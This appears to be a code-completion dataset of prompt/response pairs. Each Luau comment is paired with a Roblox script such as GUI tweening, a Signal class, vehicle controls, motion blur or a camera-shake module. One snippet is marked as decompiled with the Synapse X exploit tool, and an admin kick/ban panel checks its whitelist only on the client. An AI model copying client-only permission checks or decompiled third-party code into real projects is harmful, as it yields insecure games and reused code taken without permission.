Prompt:
-- ================================================================================
-- PUBLIC FUNCTIONS
-- ================================================================================

Response:
function GuiController:UpdateSpeed()

end -- GuiController:UpdateSpeed()

function GuiController:Start(s)
	speeder = s
	primary = speeder.PrimaryPart
	engine = speeder.engine

	BoostSetup()
end -- GuiController:Start()

function GuiController:Stop()

end -- GuiController:Stop()


Prompt: --METHOD 1 PARAMS

Response:
local CALMDOWN = 0.5
local CALMDOWN_RENDER = nil


Response:
local function SetWaterState(ReadyToUse: boolean)
	for _, WaterPart in Fountain.Water:GetChildren() do
		if WaterPart:IsA("BasePart") then
			if not WaterColor[WaterPart] then
				WaterColor[WaterPart] = WaterPart.Color
			end
			Tween:Play(WaterPart, {1, "Circular"}, {Color = ReadyToUse and WaterColor[WaterPart] or Color3.fromRGB(118, 118, 118)})
		end
	end
end

Fountain.Healed.OnClientEvent:Connect(function(ServerTime: number)
	SetWaterState(false)
	Tween:Play(BillboardGui.Header, {1, "Circular"}, {TextTransparency = 0.7})
	BillboardGui.Cooldown.Visible = true

	while true do
		local Difference = workspace:GetServerTimeNow() - ServerTime
		local ReadyToUse = Difference > Timer
		if ReadyToUse then
			break
		end
		BillboardGui.Cooldown.Text = "-".. math.ceil(Timer-Difference) .."-"
		task.wait(0.2)
	end

	SetWaterState(true)
	Tween:Play(BillboardGui.Header, {1, "Circular"}, {TextTransparency = 0})
	BillboardGui.Cooldown.Visible = false
end)


Prompt:
--[[
	A limited, simple implementation of a Signal.

	Handlers are fired in order, and (dis)connections are properly handled when
	executing an event.
]]

Response:
local function immutableAppend(list, ...)
	local new = {}
	local len = #list

	for key = 1, len do
		new[key] = list[key]
	end

	for i = 1, select("#", ...) do
		new[len + i] = select(i, ...)
	end

	return new
end

local function immutableRemoveValue(list, removeValue)
	local new = {}

	for i = 1, #list do
		if list[i] ~= removeValue then
			table.insert(new, list[i])
		end
	end

	return new
end

local Signal = {}

Signal.__index = Signal

function Signal.new()
	local self = {
		_listeners = {}
	}

	setmetatable(self, Signal)

	return self
end

function Signal:connect(callback)
	local listener = {
		callback = callback,
		disconnected = false,
	}

	self._listeners = immutableAppend(self._listeners, listener)

	local function disconnect()
		listener.disconnected = true
		self._listeners = immutableRemoveValue(self._listeners, listener)
	end

	return {
		disconnect = disconnect
	}
end

function Signal:fire(...)
	for _, listener in ipairs(self._listeners) do
		if not listener.disconnected then
			listener.callback(...)
		end
	end
end

return Signal


Prompt: -- 2xy0x

Response:
local module = {}

module.LastStandingPos = nil;
module.DontUpdateYet = false;
module.DamageMultiplication = 0.065
module.MinimumFallDamageStuds = 90

return module


Prompt:
--[[
	Updates the value stored in this State object.

	If `force` is enabled, this will skip equality checks and always update the
	state object and any dependents - use this with care as this can lead to
	unnecessary updates.
]]

Response:
function class:set(newValue: any, force: boolean?)
	-- if the value hasn't changed, no need to perform extra work here
	if self._value == newValue and not force then
		return
	end

	self._value = newValue

	-- update any derived state objects if necessary
	updateAll(self)
end

local function Value<T>(initialValue: T): Types.State<T>
	local self = setmetatable({
		type = "State",
		kind = "State",
		-- if we held strong references to the dependents, then they wouldn't be
		-- able to get garbage collected when they fall out of scope
		dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
		_value = initialValue
	}, CLASS_METATABLE)

	initDependency(self)

	return self
end

return Value


Prompt: -- Get references to the DockShelf and its children

Response:
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local dockbtn = dockShelf.JCookie
local aFinderButton = dockShelf.AFinder
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent


Prompt:
--[Lokalizacje]
--[Góra]

Response:
g1 = script.Parent.Parent.gura1
legansio = false

g2 = script.Parent.Parent.gura2
legansio = false

g3 = script.Parent.Parent.gura3
legansio = false

g4 = script.Parent.Parent.gura4
legansio = false

g5 = script.Parent.Parent.gura5
legansio = false

g6 = script.Parent.Parent.gura6
legansio = false

g7 = script.Parent.Parent.gura7
legansio = false

g8 = script.Parent.Parent.gura8
legansio = false

g9 = script.Parent.Parent.gura9
legansio = false

g10 = script.Parent.Parent.gura10
legansio = false

g11 = script.Parent.Parent.gura11
legansio = false

g12 = script.Parent.Parent.gura12
legansio = false

g13 = script.Parent.Parent.gura13
legansio = false

g14 = script.Parent.Parent.gura14
legansio = false

s1 = script.Parent.Parent.s1
legansio = false

q1 = script.Parent.Parent.q1
legansio = false


Prompt:
--[[
	Package link auto-generated by Rotriever
]]

Response:
local PackageIndex = script.Parent.Parent.Parent._Index

local Package = require(PackageIndex["JestMatcherUtils"]["JestMatcherUtils"])

export type MatcherHintOptions = Package.MatcherHintOptions
export type DiffOptions = Package.DiffOptions

return Package


Prompt: -- Tags --

Response:
local pantsId = script.Parent.Parent.ClickPart.Pants.PantsTemplate
local shirtId = script.Parent.Parent.ClickPart.Shirt.ShirtTemplate
local cPart = script.Parent
local cDetector = script.Parent.ClickDetector


Prompt: -- Don't change the wait time. Sorry, it breaks the script...


Prompt:
-- Implements equivalent functionality to JavaScript's `array.indexOf`,
-- implementing the interface and behaviors defined at:
-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf
--
-- This implementation is loosely based on the one described in the polyfill
-- source in the above link

Response:
return function<T>(array: Array<T>, searchElement: any, fromIndex: number?): number
	local fromIndex_ = fromIndex or 1
	local length = #array

	-- In the JS impl, a negative fromIndex means we should use length - index;
	-- with Lua, of course, this means that 0 is still valid, but refers to the
	-- end of the array the way that '-1' would in JS
	if fromIndex_ < 1 then
		fromIndex_ = math.max(length - math.abs(fromIndex_), 1)
	end

	for i = fromIndex_, length do
		if array[i] == searchElement then
			return i
		end
	end

	return -1
end


Prompt: -- goro7

Response:
local plr = game.Players.LocalPlayer

function update()

	-- Calculate scale
	local scale = (plr.PlayerGui.MainGui.AbsoluteSize.Y - 30) / script.Parent.Parent.Size.Y.Offset
	if scale > 1.5 then
		scale = 1.5
	end
	if scale > 0 then
		script.Parent.Scale = scale
	end

end

plr.PlayerGui:WaitForChild("MainGui"):GetPropertyChangedSignal("AbsoluteSize"):connect(update)
update()


Prompt: --Enum.SavedQualitySetting.Automatic

Response:
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChild("Head")

wait(1)
local Camera=game.Workspace.CurrentCamera
if Camera:FindFirstChild("MotionBlur") then
Camera.MotionBlur:Destroy()
end
local blur=Instance.new("BlurEffect")
blur.Parent=Camera
blur.Size=0
blur.Name="MotionBlur"
local move_anim_speed 				= 3
local last_p 						= Vector3.new()
local move_amm 						= 0

local aim_settings 					= {
	aim_amp 						= 0.5,
	aim_max_change 					= 4,
	aim_retract 					= 15,
	aim_max_deg 					= 20,
}

local last_va 						= 0
local last_va2 						= 0
local view_velocity 				= {0, 0}
local last_time 					= tick()

game:GetService("RunService"):UnbindFromRenderStep("MotionBlur")

wait(1/30)

game:GetService("RunService"):BindToRenderStep("MotionBlur", Enum.RenderPriority.Camera.Value-1, function()
	local delta = tick() - last_time
	last_time = tick()

	local p_distance 				= ((Camera.CoordinateFrame.lookVector)).magnitude
	if p_distance == 0 then p_distance = 0.0001 end
	local p_height 					= Camera.CoordinateFrame.lookVector.y
	local view_angle
	if p_height ~= 0 then
		view_angle 					= math.deg(math.asin(math.abs(p_height) / p_distance)) * (math.abs(p_height) / p_height)
	else
		view_angle 					= 0
	end

	local cam_cf 					= Camera.CoordinateFrame
	local looking_at 				= cam_cf * CFrame.new(0, 0, -100)
	local view_angle2 				= math.deg(math.atan2(cam_cf.p.x - looking_at.p.x, cam_cf.p.z - looking_at.p.z)) + 180

	local v_delta1, v_delta2
	local dir1, dir2 				= 0, 0
	v_delta1 						= math.abs(view_angle - last_va)
	if v_delta1 ~= 0 then
		dir1 						= (view_angle - last_va) / v_delta1
	end
	local va_check 					= {math.abs(view_angle2 - last_va2), 360 - math.abs(view_angle2 - last_va2)}
	if view_angle2 == last_va2 then
		dir2 						= 0
		v_delta2 					= 0
	elseif va_check[1] < va_check[2] then
		v_delta2 					= va_check[1]
		dir2 						= (view_angle2 - last_va2) / va_check[1]
	else
		v_delta2 					= va_check[2]
		if last_va2 > view_angle2 then
			dir2 					= 1
		else
			dir2 					= -1
		end
	end
	last_va 						= view_angle
	last_va2 						= view_angle2

	view_velocity[1] 				= view_velocity[1] / (1 + (delta * aim_settings.aim_retract))
	view_velocity[2] 				= view_velocity[2] / (1 + (delta * aim_settings.aim_retract))

	local calc1 					= v_delta1 * dir1 * aim_settings.aim_amp
	if calc1 ~= 0 then
		view_velocity[1] 			= view_velocity[1] + (math.abs(calc1)) * (calc1 / math.abs(calc1))
	end
	local calc2 					= v_delta2 * dir2 * aim_settings.aim_amp
	if calc2 ~= 0 then
		view_velocity[2] 			= view_velocity[2] + (math.abs(calc2)) * (calc2 / math.abs(calc2))
	end

	if view_velocity[1] ~= 0 then
		view_velocity[1] 			= math.abs(view_velocity[1]) * (math.abs(view_velocity[1]) / view_velocity[1])
	end
	if view_velocity[2] ~= 0 then
		view_velocity[2] 			= math.abs(view_velocity[2]) * (math.abs(view_velocity[2]) / view_velocity[2])
	end
	local one=math.abs(math.rad(view_velocity[1]))
	local two=math.abs(math.rad(view_velocity[2]))
	local equation=math.max(one,two)*10
    blur.Size=equation

	if game.Players.LocalPlayer.Character then
	if game.Players.LocalPlayer.Character:FindFirstChild("Torso") then
	if game.Players.LocalPlayer.Character.Torso.Position.Y <= -2000 then
	game.Players.LocalPlayer.Character.Humanoid.Health = 0
	end
	end
	end

end)


Prompt: ---Size

Response:
local FSX = Frame.Size.X.Scale
local FSY = Frame.Size.Y.Scale

Player.DataFolder.Points.Changed:Connect(function()
	StatTrack.Text = Points.Value

	local function GoBack()
		Frame:TweenSize(
			UDim2.new(FSX,0,FSY,0),
			Enum.EasingDirection.Out,
			Enum.EasingStyle.Back,
			0.125,
			true
		)
	end

	Frame:TweenSize(
		UDim2.new(FSX + 0.019 ,0,FSY + 0.019,0),
		Enum.EasingDirection.Out,
		Enum.EasingStyle.Back,
		0.125,
		true,
		GoBack
	)

end)


Prompt: --------LEFT DOOR 7--------

Response:
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(135)

game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102)


Prompt: --Serivice

Response: game:GetService('StarterGui'):SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)


Prompt: --Info.WhiteList = {"Master3395","Itscapcake","thecookieboiyt"}

Response:
Info.WhiteList = {
	["Master3395"] = true,
	[""] = true,
}

function Info:Convert(object)
	if object.ClassName == "ImageLabel" then
		object.ImageTransparency = 1
	end

	for _,obj in pairs(object:GetDescendants()) do
		if obj.ClassName == "ImageLabel" or obj.ClassName == "ImageButton" then
			obj.ImageTransparency = 1
		elseif obj.ClassName == "TextLabel" then
			obj.TextTransparency = 1
			obj.TextStrokeTransparency = 1
		elseif obj.ClassName == "TextBox" then
			obj.TextTransparency = 1
			obj.TextStrokeTransparency = 1
			obj.BackgroundTransparency = 1
		end
	end
	object.Visible = false
end

function Info:Menu(object,visible,length)
	local TweenService = game:GetService("TweenService")
	local tweenInfo = TweenInfo.new(length,Enum.EasingStyle.Linear)

	if object.ClassName == "ImageLabel" then
		if visible == true then
			local info = {}
			info.ImageTransparency = 0
			local tween = TweenService:Create(object,tweenInfo,info)
			tween:Play()
		else
			local info = {}
			info.ImageTransparency = 1
			local tween = TweenService:Create(object,tweenInfo,info)
			tween:Play()
		end
	end

	for _,obj in pairs(object:GetDescendants()) do
		if obj.ClassName == "ImageLabel" or obj.ClassName == "ImageButton" then
			if visible == true then
				local info = {}
				info.ImageTransparency = 0
				local tween = TweenService:Create(obj,tweenInfo,info)
				tween:Play()
			else
				local info = {}
				info.ImageTransparency = 1
				local tween = TweenService:Create(obj,tweenInfo,info)
				tween:Play()
			end
		elseif obj.ClassName == "TextLabel" then
			if visible == true then
				local info = {}
				info.TextTransparency = 0
				info.TextStrokeTransparency = 0
				local tween = TweenService:Create(obj,tweenInfo,info)
				tween:Play()
			else
				local info = {}
				info.TextTransparency = 1
				info.TextStrokeTransparency = 1
				local tween = TweenService:Create(obj,tweenInfo,info)
				tween:Play()
			end
		elseif obj:IsA("TextBox") then
			if visible == true then
				local info = {}
				info.TextTransparency = 0
				info.TextStrokeTransparency = 0
				info.BackgroundTransparency = 0
				local tween = TweenService:Create(obj,tweenInfo,info)
				tween:Play()
			else
				local info = {}
				info.TextTransparency = 1
				info.TextStrokeTransparency = 1
				info.BackgroundTransparency = 1
				local tween = TweenService:Create(obj,tweenInfo,info)
				tween:Play()
			end
		end
	end

	if visible == false then
		object.Visible = false
	else
		object.Visible = true
	end
end
function Info:IsDev(player)
	if Info.WhiteList[player.Name] then
		return true
	else
		return false
	end
end
Info:Convert(frame)

Info:Convert(kickUI)
Info:Convert(banUI)
Info:Convert(resetUI)
Info:Convert(gamepassUI)

local player = game.Players.LocalPlayer
local length = 0.5
button.MouseButton1Click:Connect(function()
	if Opened == false then
		Opened = true
		Info:Menu(frame,true,length)

		Info:Menu(resetUI,false,length)
		Info:Menu(kickUI,false,length)
		Info:Menu(banUI,false,length)
		Info:Menu(gamepassUI,false,length)
	else
		Opened = false
		Info:Menu(frame,false,length)

		Info:Menu(resetUI,false,length)
		Info:Menu(kickUI,false,length)
		Info:Menu(banUI,false,length)
		Info:Menu(gamepassUI,false,length)
	end
end)

frame.Reset.MouseButton1Click:Connect(function()
	Info:Menu(resetUI,true,length)
	Info:Menu(frame,false,length)
end)

frame.Kick.MouseButton1Click:Connect(function()
	Info:Menu(kickUI,true,length)
	Info:Menu(frame,false,length)
end)

frame.Ban.MouseButton1Click:Connect(function()
	Info:Menu(banUI,true,length)
	Info:Menu(frame,false,length)
end)

frame.Gamepass.MouseButton1Click:Connect(function()
	Info:Menu(gamepassUI,true,length)
	Info:Menu(frame,false,length)
end)

banUI.Ok.MouseButton1Click:Connect(function()
	local plrN = banUI.PlayerName.Text
	game.ReplicatedStorage.Special:InvokeServer("Ban",plrN)

	Info:Menu(banUI,false,length)
	Info:Menu(frame,false,length)
	Opened = false
end)

kickUI.Ok.MouseButton1Click:Connect(function()
	local plrN = kickUI.PlayerName.Text
	game.ReplicatedStorage.Special:InvokeServer("Kick",plrN)

	Info:Menu(kickUI,false,length)
	Info:Menu(frame,false,length)
	Opened = false
end)

resetUI.Ok.MouseButton1Click:Connect(function()
	local plrN = resetUI.PlayerName.Text
	game.ReplicatedStorage.Special:InvokeServer("Reset",plrN)

	Info:Menu(resetUI,false,length)
	Info:Menu(frame,false,length)
	Opened = false
end)

gamepassUI.Ok.MouseButton1Click:Connect(function()
	local plrN = gamepassUI.PlayerName.Text
	local id = gamepassUI.Gamepass.Text

	game.ReplicatedStorage.Special:InvokeServer("Gamepass",plrN,id)

	Info:Menu(gamepassUI,false,length)
	Info:Menu(frame,false,length)
	Opened = false
end)

if Info:IsDev(player) then
	gui.Enabled = true
else
	gui.Enabled = false
end

while wait() do
	if gui.Enabled == true and Info:IsDev(player) == false then
		player:Kick("No open this menu.")
	end
end


Prompt: -- loop

Response:
local count = 0
local startTick = tick()
while true do
	local timeElapsed = tick() - startTick
	-- if the game has loaded and the minimum time has elapsed then break the loop
	if game:IsLoaded() and timeElapsed > MIN_TIME and game.Workspace.Finish.Value==1 then
		break
	end

	-- animate the text
	textLabel.Text = "Loading " .. string.rep(".",count)
	count = (count + 1) % 4

	wait(.3)
end

game.Workspace.Finish.Value=2

if not game:IsLoaded() then
	game.Loaded:Wait()
end


Response:
nextjump=0
chasing=false

variance=4

damage=11
attackrange=4.5
sightrange=60
runspeed=18
wonderspeed=8
healthregen=false
colors={"Sand red","Dusty Rose","Medium blue","Sand blue","Lavender","Earth green","Brown","Medium stone grey","Brick yellow"}

function raycast(spos,vec,currentdist)
	local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(spos+(vec*.01),vec*currentdist),sp)
	if hit2 and pos2 then
		if hit2.Transparency>=.8 or hit2.Name=="Handle" or string.sub(hit2.Name,1,6)=="Effect" then
			local currentdist=currentdist-(pos2-spos).magnitude
			return raycast(pos2,vec,currentdist)
		end
	end
	return hit2,pos2
end

function waitForChild(parent,childName)
	local child=parent:findFirstChild(childName)
	if child then return child end
	while true do
		child=parent.ChildAdded:wait()
		if child.Name==childName then return child end
	end
end


Prompt:
-- Factor of torque applied to change the wheel direction
-- Larger number generally means faster braking

Response: local BRAKING_TORQUE = 16000


Prompt: -- Initialize mesh tool

Response:
local MeshTool = require(CoreTools:WaitForChild 'Mesh')
Core.AssignHotkey('H', Core.Support.Call(Core.EquipTool, MeshTool));
Core.AddToolButton(Core.Assets.MeshIcon, 'H', MeshTool)


Prompt: -- Runs when someone touches our pet

Response:
function touch(part)

	-- IF player AND not dead AND has no master
	if part.Parent:FindFirstChild('Humanoid') and part.Parent:FindFirstChild('Humanoid').health > 0 and not master then

		-- Assign the master
		master = part.Parent.Head

		--Create a new spring
		spring = Instance.new("SpringConstraint", pet)
		spring.Attachment0 = pet.SpringAttach
		spring.Attachment1 = master.HatAttachment
		spring.FreeLength = maxDistance
		spring.Stiffness = 1000
		spring.Damping = 2

		-- Makes pet turn with player
		orient = Instance.new("AlignOrientation", pet)
		orient.Attachment0 = pet.OrientAttach
		orient.Attachment1 = master.HatAttachment
		orient.RigidityEnabled = true

		-- Reset pet apon death
		function death()

			spring:Destroy()
			orient:Destroy()
			pet.CFrame = startpos
			master = nil

		end

		master.Parent.Humanoid.Died:Connect(death)

	end

end

pet.Touched:Connect(touch)


Prompt: -- ربط الدالة بحدث الاصطدام

Response: plank.Touched:Connect(onTouched)


Prompt: -- Make sure to spell it 100% correct.

Response:
local permissions = {
	cmds = 'Players',
	help = 'Players',
	m = 'Moderators',
	kick = 'Moderators',
}

local defaultLevel = 'Creators' -- The permission level that will be set for commands not configured above.


Prompt: -- Note that VehicleController does not derive from BaseCharacterController, it is a special case

Response:
local VehicleController = {}
VehicleController.__index = VehicleController

function VehicleController.new(CONTROL_ACTION_PRIORITY)
	local self = setmetatable({}, VehicleController)

	self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY

	self.enabled = false
	self.vehicleSeat = nil
	self.throttle = 0
	self.steer = 0

	self.acceleration = 0
	self.decceleration = 0
	self.turningRight = 0
	self.turningLeft = 0

	self.vehicleMoveVector = ZERO_VECTOR3

	return self
end

function VehicleController:BindContextActions()
	if useTriggersForThrottle then
		ContextActionService:BindActionAtPriority("throttleAccel", (function(actionName, inputState, inputObject)
			self:OnThrottleAccel(actionName, inputState, inputObject)
			return Enum.ContextActionResult.Pass
		end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonR2)
		ContextActionService:BindActionAtPriority("throttleDeccel", (function(actionName, inputState, inputObject)
			self:OnThrottleDeccel(actionName, inputState, inputObject)
			return Enum.ContextActionResult.Pass
		end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonL2)
	end
	ContextActionService:BindActionAtPriority("arrowSteerRight", (function(actionName, inputState, inputObject)
		self:OnSteerRight(actionName, inputState, inputObject)
		return Enum.ContextActionResult.Pass
	end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Right)
	ContextActionService:BindActionAtPriority("arrowSteerLeft", (function(actionName, inputState, inputObject)
		self:OnSteerLeft(actionName, inputState, inputObject)
		return Enum.ContextActionResult.Pass
	end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Left)
end

function VehicleController:Enable(enable, vehicleSeat)
	if enable == self.enabled and vehicleSeat == self.vehicleSeat then
		return
	end

	self.vehicleMoveVector = ZERO_VECTOR3

	if enable then
		if vehicleSeat then
			self.vehicleSeat = vehicleSeat
			if FFlagPlayerScriptsBindAtPriority then
				self:BindContextActions()
			else
				if useTriggersForThrottle then
					ContextActionService:BindAction("throttleAccel", (function(actionName, inputState, inputObject)
						self:OnThrottleAccel(actionName, inputState, inputObject)
						return Enum.ContextActionResult.Pass
					end), false, Enum.KeyCode.ButtonR2)
					ContextActionService:BindAction("throttleDeccel", (function(actionName, inputState, inputObject)
						self:OnThrottleDeccel(actionName, inputState, inputObject)
						return Enum.ContextActionResult.Pass
					end), false, Enum.KeyCode.ButtonL2)
				end
				ContextActionService:BindAction("arrowSteerRight", (function(actionName, inputState, inputObject)
					self:OnSteerRight(actionName, inputState, inputObject)
					return Enum.ContextActionResult.Pass
				end), false, Enum.KeyCode.Right)
				ContextActionService:BindAction("arrowSteerLeft", (function(actionName, inputState, inputObject)
					self:OnSteerLeft(actionName, inputState, inputObject)
					return Enum.ContextActionResult.Pass
				end), false, Enum.KeyCode.Left)
			end
		end
	else
		if useTriggersForThrottle then
			ContextActionService:UnbindAction("throttleAccel")
			ContextActionService:UnbindAction("throttleDeccel")
		end
		ContextActionService:UnbindAction("arrowSteerRight")
		ContextActionService:UnbindAction("arrowSteerLeft")
		self.vehicleSeat = nil
	end
end

function VehicleController:OnThrottleAccel(actionName, inputState, inputObject)
	self.acceleration = (inputState ~= Enum.UserInputState.End) and -1 or 0
	self.throttle = self.acceleration + self.decceleration
end

function VehicleController:OnThrottleDeccel(actionName, inputState, inputObject)
	self.decceleration = (inputState ~= Enum.UserInputState.End) and 1 or 0
	self.throttle = self.acceleration + self.decceleration
end

function VehicleController:OnSteerRight(actionName, inputState, inputObject)
	self.turningRight = (inputState ~= Enum.UserInputState.End) and 1 or 0
	self.steer = self.turningRight + self.turningLeft
end

function VehicleController:OnSteerLeft(actionName, inputState, inputObject)
	self.turningLeft = (inputState ~= Enum.UserInputState.End) and -1 or 0
	self.steer = self.turningRight + self.turningLeft
end


Prompt: --Weld stuff here

Response:
MakeWeld(car.Misc.Tach.M,car.DriveSeat,"Motor").Name="M"
ModelWeld(misc.Tach.Parts,misc.Tach.M)

MakeWeld(car.Misc.Speedo.N,car.DriveSeat,"Motor").Name="N"
ModelWeld(misc.Speedo.Parts,misc.Speedo.N)

MakeWeld(car.Misc.Wheel.W,car.DriveSeat,"Motor").Name="W"
ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.W)
car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
	end
end)


Prompt: -- LocalScript

Response:
local numValue = Player.Eventos.EasterEvent -- substitua "NumValue" pelo nome da sua NumberValue
local textLabel = script.Parent -- substitua "TextLabel" pelo nome do seu TextLabel


Prompt: --// Aim|Zoom|Sensitivity Customization

Response:
	ZoomSpeed = 0.20; -- The lower the number the slower and smoother the tween
	AimZoom = 15; -- Default zoom
	AimSpeed = 0.24;
	UnaimSpeed = 0.20;
	CycleAimZoom = 30; -- Cycled zoom
	MouseSensitivity = 0.25; -- Number between 0.1 and 1
	SensitivityIncrement = 0.05; -- No touchy


Prompt: --Simple function to make the door appear and disappear

Response:
local clickDetector = script.Parent.ClickDetector

function onMouseClick()
	if script.Parent.CanCollide == false then
		print "Close door"
		script.Parent.CanCollide = true
		script.Parent.Transparency = 0
	else
		print "Open door"
		script.Parent.CanCollide = false
		script.Parent.Transparency = 1
	end
end

clickDetector.MouseClick:connect(onMouseClick)


Prompt:
--[=[
	@within TableUtil
	@function Copy
	@param tbl table -- Table to copy
	@param deep boolean? -- Whether or not to perform a deep copy
	@return table

	Creates a copy of the given table. By default, a shallow copy is
	performed. For deep copies, a second boolean argument must be
	passed to the function.

	:::caution No cyclical references
	Deep copies are _not_ protected against cyclical references. Passing
	a table with cyclical references _and_ the `deep` parameter set to
	`true` will result in a stack-overflow.
]=]

Response:
local function Copy(t: Table, deep: boolean?): Table
	if deep then
		local function DeepCopy(tbl)
			local tCopy = table.create(#tbl)
			for k,v in pairs(tbl) do
				if type(v) == "table" then
					tCopy[k] = DeepCopy(v)
				else
					tCopy[k] = v
				end
			end
			return tCopy
		end
		return DeepCopy(t)
	else
		if #t > 0 then
			return table.move(t, 1, #t, 1, table.create(#t))
		else
			local tCopy = {}
			for k,v in pairs(t) do
				tCopy[k] = v
			end
			return tCopy
		end
	end
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
v1.__index = v1;
v1.CameraShakeState = {
	FadingIn = 0,
	FadingOut = 1,
	Sustained = 2,
	Inactive = 3
};
local l__Vector3_new__1 = Vector3.new;
function v1.new(p1, p2, p3, p4)
	if p3 == nil then
		p3 = 0;
	end;
	if p4 == nil then
		p4 = 0;
	end;
	assert(type(p1) == "number", "Magnitude must be a number");
	assert(type(p2) == "number", "Roughness must be a number");
	assert(type(p3) == "number", "FadeInTime must be a number");
	assert(type(p4) == "number", "FadeOutTime must be a number");
	local v2 = {
		Magnitude = p1,
		Roughness = p2,
		PositionInfluence = l__Vector3_new__1(),
		RotationInfluence = l__Vector3_new__1(),
		DeleteOnInactive = true,
		roughMod = 1,
		magnMod = 1,
		fadeOutDuration = p4,
		fadeInDuration = p3,
		sustain = p3 > 0
	};
	if p3 > 0 then
		local v3 = 0;
	else
		v3 = 1;
	end;
	v2.currentFadeTime = v3;
	v2.tick = Random.new():NextNumber(-100, 100);
	v2._camShakeInstance = true;
	return setmetatable(v2, v1);
end;
local l__math_noise__2 = math.noise;
function v1.UpdateShake(p5, p6)
	local l__tick__4 = p5.tick;
	local v5 = p5.currentFadeTime;
	if p5.fadeInDuration > 0 and p5.sustain then
		if v5 < 1 then
			v5 = v5 + p6 / p5.fadeInDuration;
		elseif p5.fadeOutDuration > 0 then
			p5.sustain = false;
		end;
	end;
	if not p5.sustain then
		v5 = v5 - p6 / p5.fadeOutDuration;
	end;
	if p5.sustain then
		p5.tick = l__tick__4 + p6 * p5.Roughness * p5.roughMod;
	else
		p5.tick = l__tick__4 + p6 * p5.Roughness * p5.roughMod * v5;
	end;
	p5.currentFadeTime = v5;
	return l__Vector3_new__1(l__math_noise__2(l__tick__4, 0) * 0.5, l__math_noise__2(0, l__tick__4) * 0.5, l__math_noise__2(l__tick__4, l__tick__4) * 0.5) * p5.Magnitude * p5.magnMod * v5;
end;
function v1.StartFadeOut(p7, p8)
	if p8 == 0 then
		p7.currentFadeTime = 0;
	end;
	p7.fadeOutDuration = p8;
	p7.fadeInDuration = 0;
	p7.sustain = false;
end;
function v1.StartFadeIn(p9, p10)
	if p10 == 0 then
		p9.currentFadeTime = 1;
	end;
	p9.fadeInDuration = p10 or p9.fadeInDuration;
	p9.fadeOutDuration = 0;
	p9.sustain = true;
end;
function v1.GetScaleRoughness(p11)
	return p11.roughMod;
end;
function v1.SetScaleRoughness(p12, p13)
	p12.roughMod = p13;
end;
function v1.GetScaleMagnitude(p14)
	return p14.magnMod;
end;
function v1.SetScaleMagnitude(p15, p16)
	p15.magnMod = p16;
end;
function v1.GetNormalizedFadeTime(p17)
	return p17.currentFadeTime;
end;
function v1.IsShaking(p18)
	local v6 = true;
	if not (p18.currentFadeTime > 0) then
		v6 = p18.sustain;
	end;
	return v6;
end;
function v1.IsFadingOut(p19)
	return not p19.sustain and p19.currentFadeTime > 0;
end;
function v1.IsFadingIn(p20)
	local v7 = false;
	if p20.currentFadeTime < 1 then
		v7 = p20.sustain and p20.fadeInDuration > 0;
	end;
	return v7;
end;
function v1.GetState(p21)
	if p21:IsFadingIn() then
		return v1.CameraShakeState.FadingIn;
	end;
	if p21:IsFadingOut() then
		return v1.CameraShakeState.FadingOut;
	end;
	if p21:IsShaking() then
		return v1.CameraShakeState.Sustained;
	end;
	return v1.CameraShakeState.Inactive;
end;
return v1;


Prompt: --// WIP

Response:
local function LoadPackage(package, folder, runNow)
	--// runNow - Run immediately after unpacking (default behavior is to just unpack (((only needed if loading after startup))))
	--// runNow currently not used (limitations) so all packages must be present at server startup
	local function unpackFolder(curFolder, unpackInto)
		if unpackInto then
			for _, obj in ipairs(curFolder:GetChildren()) do
				local clone = obj:Clone()
				if obj:IsA("Folder") then
					local realFolder = unpackInto:FindFirstChild(obj.Name)
					if not realFolder then
						clone.Parent = unpackInto
					else
						unpackFolder(obj, realFolder)
					end
				else
					clone.Parent = unpackInto
				end
			end
		else
			warn(`Missing parent to unpack into for {curFolder}`)
		end
	end

	unpackFolder(package, folder)
end;

local function CleanUp()
	--local env = getfenv(2)
	--local ran,ret = pcall(function() return env.script:GetFullName() end)
	warn("Beginning Adonis cleanup & shutdown process...")
	--warn(`CleanUp called from {tostring((ran and ret) or "Unknown")}`)
	--local loader = server.Core.ClientLoader
